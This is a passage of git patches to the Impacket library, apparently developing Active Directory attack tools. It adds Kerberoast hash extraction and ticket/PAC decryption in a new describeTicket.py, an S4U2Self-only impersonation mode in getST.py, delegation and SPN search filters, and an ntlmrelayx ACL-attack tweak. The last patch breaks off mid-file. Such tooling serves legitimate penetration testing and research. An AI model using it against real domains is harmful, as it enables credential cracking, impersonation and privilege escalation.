From 9df91ae0b97509b913a3ba8ff14edcabb29453c1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 2 Aug 2021 14:52:13 +0200 Subject: [PATCH 001/152] Improved searchFilter Previous searchFilter resulted in a list of accounts missing vulnerable users --- examples/GetUserSPNs.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 1c7dd84175..c08ca697c0 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -26,8 +26,6 @@ # # ToDo: # [X] Add the capability for requesting TGS and output them in JtR/hashcat format -# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer -# (play with userAccountControl) # from __future__ import division @@ -285,13 +283,17 @@ def run(self): raise # Building the search filter - searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" + filter_person = "objectCategory=person" + filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)" + + searchFilter = "(&" + searchFilter += "(" + filter_person + ")" + searchFilter += "(" + filter_not_disabled + ")" if self.__requestUser is not None: - searchFilter += '(sAMAccountName:=%s))' % self.__requestUser - else: - searchFilter += ')' + searchFilter += '(sAMAccountName:=%s)' % self.__requestUser + + searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -310,7 +312,6 @@ def run(self): answers = [] logging.debug('Total of records returned %d' % len(resp)) - for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue From a39d8db4b29f40a040cdae17ca8d8a2e6b62eccc Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 13 Sep 2021 16:36:52 +0200 Subject: [PATCH 002/152] Patching SID query of the incoming user --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 2ac7e89666..dd4edff83e 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -300,8 +300,8 @@ def aclAttack(self, userDn, domainDumper): # Dictionary for restore data restoredata = {} - # Query for the sid of our user - self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) + # Query for the sid of our incoming account (can be a user or a computer in case of a newly creation computer account (i.e. MachineAccountQuot abuse) + self.client.search(userDn, '(objectCategory=*)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value From 48adfe3e27459f5de7a995e88bb31ecb3a3acd1a Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 13 Oct 2021 15:56:17 +0200 Subject: [PATCH 003/152] Added user filter and changed a string --- examples/findDelegation.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index edd7d761c5..bd6be60be7 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -58,6 +58,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__password = password self.__domain = user_domain self.__targetDomain = target_domain + self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey @@ -132,7 +133,12 @@ def run(self): searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192))" + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -182,7 +188,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained' + delegation = 'Constrained w/o Protocol Transition' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -210,7 +216,7 @@ def run(self): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) @@ -239,6 +245,7 @@ def run(self): parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') + parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From 52762305b2e659813bbf8876ea3112d728425f9d Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 25 Oct 2021 17:43:06 +0200 Subject: [PATCH 004/152] Adding describeTicket base --- examples/describeTicket.py | 106 +++++++++++++++++++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100755 examples/describeTicket.py diff --git a/examples/describeTicket.py b/examples/describeTicket.py new file mode 100755 index 0000000000..71a93c7cf3 --- /dev/null +++ b/examples/describeTicket.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script that describes the values of the ticket (TGT or Service Ticket). +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) + + + +import argparse +import logging +import sys +import traceback +import argparse +import os +import re +from binascii import unhexlify + +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import KerberosError +from impacket.krb5 import constants +from impacket import version +from impacket.examples import logger, utils +from datetime import datetime +from impacket.krb5 import crypto, constants, types +import base64 + +def parse_ccache(ticketfile): + ccache = CCache.loadFile(ticketfile) + for creds in ccache.credentials: + logging.info("%-25s: %s" % ("UserName", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-25s: %s" % ("UserRealm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-25s: %s" % ("ServiceName", creds['server'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-25s: %s" % ("StartTime", datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("EndTime", datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("RenewTill", datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + flags = [] + for k in constants.TicketFlags: + if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: + flags.append(constants.TicketFlags(k.value).name) + logging.info("%-25s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) + logging.info("%-25s: %s" % ("KeyType", constants.EncryptionTypes(creds["key"]["keytype"]).name)) + logging.info("%-25s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Ticket describor') + + parser.add_argument('ticket', action='store', help='Path to ticket.ccache') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + + # Authentication arguments + group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') + group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') + group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') + group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' + 'Only required if specifying password instead of keys.') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + args = parser.parse_args() + return args + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + try: + parse_ccache(args.ticket) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() + From 71f658636c53b547401881d0b08da81eb70a0e94 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 25 Oct 2021 17:44:58 +0200 Subject: [PATCH 005/152] Adding "only S4U2Self" switch --- examples/getST.py | 181 ++++++++++++++++++++++++---------------------- 1 file changed, 96 insertions(+), 85 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f0..9984801363 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -79,6 +79,7 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -502,120 +503,129 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + if self.__no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + plainText = cipher.decrypt(sessionKey, 8, cipherText) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + return r, cipher, sessionKey, newSessionKey + else: + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -693,6 +703,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-no-s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' From 224901d781c58b806d19ad5504b7d3de080f4b9c Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 25 Oct 2021 17:59:20 +0200 Subject: [PATCH 006/152] Changing getST header to python3 --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 9984801363..e15e288658 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. From eba8475ab2e06e7dda8977f5d73ddaeb6e438957 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 26 Oct 2021 09:23:36 +0200 Subject: [PATCH 007/152] SPN argument optional when No S4U2Proxy is done If `-self` (== no S4U2Proxy) is set, the `-spn` is now optional. If SPN is set, the S4U2Self request is made for that SPN. Else, the SPN is set to the requesting user --- examples/getST.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index e15e288658..6df3522714 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -402,7 +402,10 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -694,7 +697,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -703,7 +706,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-no-s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -730,6 +733,9 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + # Init the example's logger theme logger.init(options.ts) From 09717a61402544f62456d710d34bc674e3f3bd8b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 26 Oct 2021 17:24:33 +0200 Subject: [PATCH 008/152] Started implementing Ticket decryption --- examples/describeTicket.py | 253 +++++++++++++++++++++++++++++++++---- 1 file changed, 227 insertions(+), 26 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 71a93c7cf3..4ff467f6f4 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -14,44 +14,245 @@ # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) - - -import argparse import logging import sys import traceback import argparse -import os -import re -from binascii import unhexlify - -from impacket.krb5.ccache import CCache -from impacket.krb5.kerberosv5 import KerberosError -from impacket.krb5 import constants -from impacket import version -from impacket.examples import logger, utils +from Cryptodome.Hash import MD4 from datetime import datetime -from impacket.krb5 import crypto, constants, types import base64 +from binascii import unhexlify, hexlify +from pyasn1.codec.der import decoder +from impacket import LOG, version +from impacket.examples import logger +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.krb5 import constants +from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA + +def parse_ccache(args): + ccache = CCache.loadFile(args.ticket) + + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + decodedTGS = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] -def parse_ccache(ticketfile): - ccache = CCache.loadFile(ticketfile) for creds in ccache.credentials: logging.info("%-25s: %s" % ("UserName", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) logging.info("%-25s: %s" % ("UserRealm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-25s: %s" % ("ServiceName", creds['server'].prettyPrint().split(b'@')[0].decode('utf-8'))) + spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.info("%-25s: %s" % ("ServiceName", spn)) logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) logging.info("%-25s: %s" % ("StartTime", datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) logging.info("%-25s: %s" % ("EndTime", datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) logging.info("%-25s: %s" % ("RenewTill", datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + flags = [] for k in constants.TicketFlags: if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: flags.append(constants.TicketFlags(k.value).name) logging.info("%-25s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) - logging.info("%-25s: %s" % ("KeyType", constants.EncryptionTypes(creds["key"]["keytype"]).name)) + keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name + logging.info("%-25s: %s" % ("KeyType", keyType)) logging.info("%-25s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + if spn.split('/')[0] != 'krbtgt': + logging.debug("Attempting to create Kerberoast hash") + # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) + # if this isn't a TGT, try to display a Kerberoastable hash + if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": + # can only display rc4_hmac ad it doesn't have a salt. DES/AES keys require the user/domain as a salt, and we don't have + # the user account name that backs the requested SPN for the ticket, no no dice :( + logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) + elif keyType == "rc4_hmac": + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = args.user, domain = args.domain) + elif args.user: + if args.user.endswith("$"): + user = "host%s.%s" % (args.user.rstrip('$').lower(), args.domain.lower()) + else: + user = args.user + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = user, domain = args.domain) + else: + logging.error("AES256 in use but no '-u/--user' passed, unable to generate crackable hash") + if kerberoast_hash: + logging.info("%-25s: %s" % ("Kerberoast hash", kerberoast_hash)) + + logging.debug("Handling Kerberos keys") + ekeys = generate_kerberos_keys(args) + # TODO : show message when decrypting ticket, unable to decrypt ticket if not enough arguments are given. Say what is missing + + # copypasta from krbrelayx.py + # Select the correct encryption key + etype = decodedTGS['ticket']['enc-part']['etype'] + try: + logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) + key = ekeys[etype] + logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) + # This raises a KeyError (pun intended) if our key is not found + except KeyError: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', + decodedTGS['ticket']['enc-part']['etype'], + ', '.join([str(enctype) for enctype in ekeys.keys()])) + return None + + # Recover plaintext info from ticket + try: + cipherText = decodedTGS['ticket']['enc-part']['cipher'] + newCipher = _enctype_table[int(etype)] + plainText = newCipher.decrypt(key, 2, cipherText) + except InvalidChecksum: + logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') + if args.salt: + logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + return + + logging.debug('Ticket successfully decrypted') + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + # So here we have the PAC + pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + parse_pac(pacType) + + +def parse_pac(pacType): + buff = pacType['Buffers'] + + for bufferN in range(pacType['cBuffers']): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] + if logging.getLogger().level == logging.DEBUG: + print("TYPE 0x%x" % infoBuffer['ulType']) + if infoBuffer['ulType'] == 1: + type1 = TypeSerialization1(data) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = data[len(type1) + 4:] + kerbdata = KERB_VALIDATION_INFO() + kerbdata.fromString(newdata) + kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) + # kerbdata.dump() + print() + print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) + print() + # elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: + # clientInfo = PAC_CLIENT_INFO(data) + # if logging.getLogger().level == logging.DEBUG: + # clientInfo.dump() + # print() + elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + if logging.getLogger().level == logging.DEBUG: + signatureData.dump() + print() + # elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: + # signatureData = PAC_SIGNATURE_DATA(data) + # if logging.getLogger().level == logging.DEBUG: + # signatureData.dump() + # print() + # elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: + # upn = UPN_DNS_INFO(data) + # if logging.getLogger().level == logging.DEBUG: + # upn.dump() + # print(data[upn['DnsDomainNameOffset']:]) + # print() + 